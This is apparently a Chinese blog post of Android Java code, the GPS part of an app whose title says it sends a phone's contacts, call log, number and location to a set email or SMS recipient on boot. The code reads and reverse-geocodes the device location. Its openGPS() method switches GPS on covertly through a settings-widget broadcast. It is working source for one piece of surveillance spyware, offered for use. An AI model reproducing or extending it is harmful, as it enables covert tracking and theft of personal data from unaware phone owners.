开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里，失败则发送短信到指定手机之（gps操作）

public static String getCityNameByGps() {

  LocationManager lm = (LocationManager) context
    .getSystemService(Context.LOCATION_SERVICE);
  Criteria criteria = new Criteria();
  criteria.setAccuracy(Criteria.ACCURACY_FINE); // 高精度
  criteria.setAltitudeRequired(false); // 不要求海拔信息
  criteria.setBearingRequired(false); // 不要求方位信息
  criteria.setCostAllowed(true); // 是否允许付费
  criteria.setPowerRequirement(Criteria.POWER_LOW); // 低功耗
  String provider = lm.getBestProvider(criteria, true); // 获取GPS信息
  Location location = lm.getLastKnownLocation(provider); // 通过GPS获取位置

  updateToNewLocation(location);
  // 设置监听器，自动更新的最小时间为间隔N秒(1秒为1*1000，这样写主要为了方便)或最小位移变化超过N米
  LocationListener locationListener = new LocationListener() {
   @Override
   public void onLocationChanged(Location location) {
    updateToNewLocation(location);
   }

   @Override
   public void onProviderDisabled(String provider) {
    // TODO Auto-generated method stub
   }

   @Override
   public void onProviderEnabled(String provider) {
    // TODO Auto-generated method stub
   }

   @Override
   public void onStatusChanged(String provider, int status,
     Bundle extras) {

   }

  };
  // lm.requestLocationUpdates(provider, 3000, 1, locationListener);
  return addressString;
 }

 /**
  *
  * [功能描述].
  *
  * @param location
  *            [参数说明]
  * @createTime 2011-10-11 下午03:22:21
  */
 public static void updateToNewLocation(Location location) {
  // System.out.println("begin updateLocation****");

  if (location != null) {
   // System.out.println("location is null");
   double lat = location.getLatitude();
   double lon = location.getLongitude();
   // System.out.println("get lattitude from GPS ===>" + lat);
   // System.out.println("get Longitude from GPS ===>" + lon);

   // GeoPoint gPoint = new GeoPoint((int) lat, (int) lon);

   StringBuilder sb = new StringBuilder();

   Geocoder gc = new Geocoder(context, Locale.getDefault());
   try {
    List<Address> addresses = gc.getFromLocation(lat, lon, 1);
    if (addresses.size() > 0) {
     Address address = addresses.get(0);
     // for (int i = 0; i < address.getMaxAddressLineIndex();
     // i++) {
     sb.append(address.getAddressLine(1)).append("\n");
     // sb.append(address.getLocality()).append("\n");

     // sb.append(address.getCountryName()).append("\n");
     addressString = sb.toString();

     // }
    }

   } catch (IOException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
    addressString = "未知地区";
   }

  }
  // System.out.println("end updateLocation****");
 }

 /**
  * 获取GPS状态
  *
  * @param context
  * @return
  */
 public static boolean getGPSState() {
  LocationManager locationManager = (LocationManager) context
    .getSystemService(Context.LOCATION_SERVICE);
  // 判断GPS模块是否开启，如果没有则开启
  if (!locationManager
    .isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) {
   return false;
  } else {
   return true;
  }
 }

 public static void openGPS() {
  LocationManager locationManager = (LocationManager) context
    .getSystemService(Context.LOCATION_SERVICE);

  if (!locationManager
    .isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) {

   Intent gpsIntent = new Intent();
   gpsIntent.setClassName("com.android.settings",
     "com.android.settings.widget.SettingsAppWidgetProvider");
   gpsIntent.addCategory("android.intent.category.ALTERNATIVE");
   gpsIntent.setData(Uri.parse("custom:3"));
   try {
    PendingIntent.getBroadcast(context, 0, gpsIntent, 0).send();
   } catch (CanceledException e) {
    e.printStackTrace();
   }
  }
 }